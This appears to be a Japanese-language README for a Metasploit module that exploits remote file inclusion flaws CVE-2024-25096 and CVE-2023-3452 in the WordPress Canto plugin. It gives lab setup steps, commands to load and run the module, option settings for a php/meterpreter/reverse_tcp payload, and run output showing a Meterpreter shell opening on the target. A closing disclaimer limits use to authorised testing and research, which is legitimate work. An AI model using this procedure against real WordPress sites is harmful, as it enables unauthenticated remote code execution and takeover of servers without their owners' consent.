
これは、CVE-2024-25096 および CVE-2023-3452 に対応した Metasploit エクスプロイトモジュールです。
このエクスプロイトは、RFI脆弱性CVE-2024-25096およびCVE-2023-3452のproof-of-workエクスプロイトであり、攻撃者がターゲット上に対話型リモートシェルセッションを確立することを可能にします。
CVE-2024-25096は、abspathパラメータを悪用し、include_once文を介してリモートファイルインクルージョンを許可します。 CVE-2023-3452も同様の手順ですが、"wp_abspath"パラメータがrequire_once文を介してリモートファイルインクルージョンを許可する点が異なります。 これにより、攻撃者はターゲットサーバー上で認証なしでコードを実行できます。
脆弱性データベースではCVE-2023-3452はバージョン3.0.4までに影響を与えるとされていますが、テストによりバージョン3.0.6までエクスプロイト可能であることが確認されました。この問題はバージョン3.0.7で修正され、このバージョンはCVE-2024-25096も修正しています。
ターゲットが脆弱であるためには、以下の条件が必要です:
allow_url_include=On このリポジトリをクローンし、cantoプラグインをダウンロードします
以前のバージョンのCantoをダウンロードしたい場合は、リンクをコピーし、リンク内のバージョン番号を希望のバージョンに変更するだけです。
podman-compose up コマンドでコンテナ(docker-compose.yaml)を起動します。
任意のブラウザで http://localhost:8889/wp-admin/install.php を開き、WordPressアカウントを設定します。

ログイン後、プラグインタブ → 新規プラグイン追加 → プラグインアップロードの順に選択し、cantoのzipファイルをインストールできます。

エクスプロイト(rce_exploit_cve_2024_25096.rb)をMetasploitモジュールフォルダに追加します。
Metasploitを起動し(msfconsole)、Metasploitをリロードします(reload_all)。
ペイロードを選択します。
cp explit/wordpress_canto_plugin_file_include_rce.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2024_25096
use 0
必要な変数の値を設定します
モジュールオプション (exploit/rce_exploit_cve_2024_25096):
名前 現在の設定 必須 説明
---- --------------- -------- -----------
Proxies no 形式 type:host:port[,type:host:port][...] のプロキシチェーン。サポートされるプロキシ: sapni, socks4, socks5, http, socks5h
RHOSTS 127.0.0.1 yes ターゲットホスト。 https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html を参照
RPORT 8889 yes ポート
SRVHOST 0.0.0.0 yes リッスンするローカルホストまたはネットワークインターフェース。ローカルマシンのアドレス、またはすべてのアドレスでリッスンする場合は0.0.0.0である必要があります。
SRVPORT 8080 yes リッスンするローカルポート。
SSL false yes SSLを使用
SSLCert no カスタムSSL証明書へのパス(デフォルトはランダム生成)
TARGETFILE get.php yes 脆弱なPHPファイル
TARGETURI /wp-content/plugins/canto yes cantoのルートディレクトリへのパス
URIPATH no このエクスプロイトに使用するURI(デフォルトはランダム)
VHOST no HTTPサーバーのバーチャルホスト
ペイロードオプション (php/meterpreter/reverse_tcp):
名前 現在の設定 必須 説明
---- --------------- -------- -----------
LHOST 192.168.178.58 yes リッスンアドレス(インターフェースを指定可能)
LPORT 4444 yes リッスンポート
エクスプロイトターゲット:
ID 名前
-- ----
0 WordPressプラグイン <= 3.0.6
infoコマンドまたはinfo -dコマンドで完全なモジュール情報を表示します
エクスプロイトを実行して、うまくいくことを願いましょう ;)
[msf](Jobs:0 Agents:0) exploit(rce_exploit_cve_2024_25096) >> run
[*] Started reverse TCP handler on 192.168.178.58:4444
[*] Starting HTTP server...
[*] Using URL: http://192.168.178.58:8080/14Gs3AAu8j4
[*] Triggering RFI...
[*] Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.178.58
[*] Meterpreter session 2 opened (192.168.178.58:4444 -> 192.168.178.58:54310) at 2026-03-01 20:15:23 +0100
[*] Server stopped.
(Meterpreter 2)(/var/www/html/wp-content/plugins/canto/includes/lib) >
このプロジェクトは教育およびセキュリティ研究目的のみで提供されています。
著者は違法行為を奨励または容認しません。許可なくシステムを攻撃するためにこのコードを使用することは固く禁じられています。
著者は、このソフトウェアの誤用または損傷について一切の責任を負いません。ユーザーは、すべての適用法および規制を遵守する責任があります。
このコードは、ラボ環境、ペネトレーションテストの実施、セキュリティ研究など、明示的な許可がある環境でのみ使用してください。